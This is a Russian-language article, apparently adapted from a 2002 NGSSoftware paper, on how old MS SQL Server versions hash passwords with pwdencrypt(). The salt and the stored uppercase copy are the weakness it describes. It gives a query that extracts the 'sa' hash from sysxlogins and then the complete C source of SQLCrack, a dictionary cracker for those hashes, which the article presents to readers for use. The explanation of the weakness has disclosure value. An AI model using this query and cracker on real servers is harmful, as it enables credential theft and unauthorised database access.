SQL сервер использует недокументированную функцию pwdencrypt() для создания хешей пользовательских паролей, которые затем хранятся в главной базе. Иными словами
- пароли криптуются и хранятся в зашифрованном виде.
Получить их можно простым запросом, так как
они хранятся в обычной базе данных:
select password from master.dbo.sysxlogins where
name='sa'
Хеш пароля выглядит примерно так:
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6
F649BA954AFF4057056D9B
Выглядит это надо сказать страшно… Давай-ка разберемся, что влияет на его формирование:
Время
Попробуем к примеру закриптовать пароль 'foo'.
Делается это командой:
select pwdencrypt('foo')
Получаем:
0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218
969D09FFB97F5035CF7142521576
Ну а если попробуем через пару секунд еще раз, то получим:
0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B
E374591FAAF6C38A2EADAA57FDF
Легко заметить, что мы получаем различные хеши, что означает, что хеш зависит от времени. Таким образом два или боле пользователей могут иметь иметь одинаковые пароли, но при этом хеши паролей будут различны.
Регистр
Теперь давай попробуем зашифровать 'AAAAAA':
select pwdencrypt('AAAAAA')
Получаем:
0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918
D34B6A12C9CC9EF99C4769F819B
Если повнимательней вглядеться в полученный хеш, то его можно условно разделить на четыре части:
0x0100
84449305
43174C59CC918D34B6A12C9CC9EF99C4769F819B
43174C59CC918D34B6A12C9CC9EF99C4769F819B
Причем третья и четвертая части у нас абсолютно тождественны. Это связанно с тем, что по непонятным причинам пароль сохраняется дважды: в первый раз "как есть" (т.е. с учетом регистра), а второй раз - в верхнем регистре. Так как в нашем примере исходный пароль весь состоял из букв в верхнем регистре, то в результате "двойного сохранения", мы получили абсолютно идентичные части хеша.
Гипотетически это значительно сокращает
время брутфорса, так как надо перебирать
только буквы верхнего регистра.
Salt
Но влияет ли время на хеш непосредственно? Ответ - нет. Функция Time() создает лишь исходную точку для функции srand(), которая генерирует два случайных числа. Эти числа объединяются (с большой долей вероятности можно также предположить, что эти числа также приводятся к "сокращенному варианту") и получается salt, который в дальнейшем используется при "производстве" хеша.
Криптование пароля
Пароль преобразуется в Unicode и к нему добавляется salt. Потом все это проходит через функции криптования в advapi32.dll - в результате мы получает "третью" часть хеша (как мы рассматривали в пункте про влияние регистра).
Потом пароль преобразуется в верхний регистр и указанные манипуляции повторяются - получаем "четвертую" часть хеша.
Затем производится "сборка" окончательного вариант хеша, который и будет хранится в базе:
Берется неизменный заголовок:
0x0100
Затем тот salt, который использовался при криптовании пароля:
84449305
Третья и четвертая части - непосредственно сам пароль (в неизменном виде и в верхнем регистре соответственно):
43174C59CC918D34B6A12C9CC9EF99C4769F819B
43174C59CC918D34B6A12C9CC9EF99C4769F819B
Все! Получается тот самый, некрасивый и страшный хеш:
0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918
D34B6A12C9CC9EF99C4769F819B
Как происходит идентификация
Пользователь вводит пару логин/пароль.
Сначала происходит проверка на наличие пользователя с данным логином. Если проверка успешна и пользователь существует, то из соответствующего хеша извлекается salt (вторая часть хеша) и введенный пользователем пароль криптуется с использованием этого salt. Затем полученный результат сравнивается с имеющимся хешем в базе. В случае совпадения пользователь получает доступ, в противном - идет вспоминать пароль…
Слабые места
Не совсем понятно, почему пароль сохраняется в хеше дважды - ведь имея хешированный пароль в верхнем регистре, атакующий имеет возможность существенно сократить объем работы: в начале "расколоть" пароль в верхнем регистре и узнать какие символы используются, а затем просто провести проверку всех комбинаций этих символов в верхнем и нижнем регистрах. Таким образом объем работы по данному алгоритму в десятки, сотни и даже тысячи раз (зависит от длины пароля) меньше, чем при попытке взломать чувствительный к регистру пароль как говорится в "лоб".
Для практической реализации данной идеи была написана консольная программа, листинг которой я тебе и предлагаю
(очень полезно было бы разобрать листинг и
понять как действует программа - впрочем
это, как обычно, на твое усмотрение):
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
Существует также неконсольная версия данного крякера. Ее создатели утверждают, что она работает быстрее…но она платная, а ты ведь платить не любишь…
Оригинал: http://www.nextgenss.com/papers/cracking-sql-passwords.pdf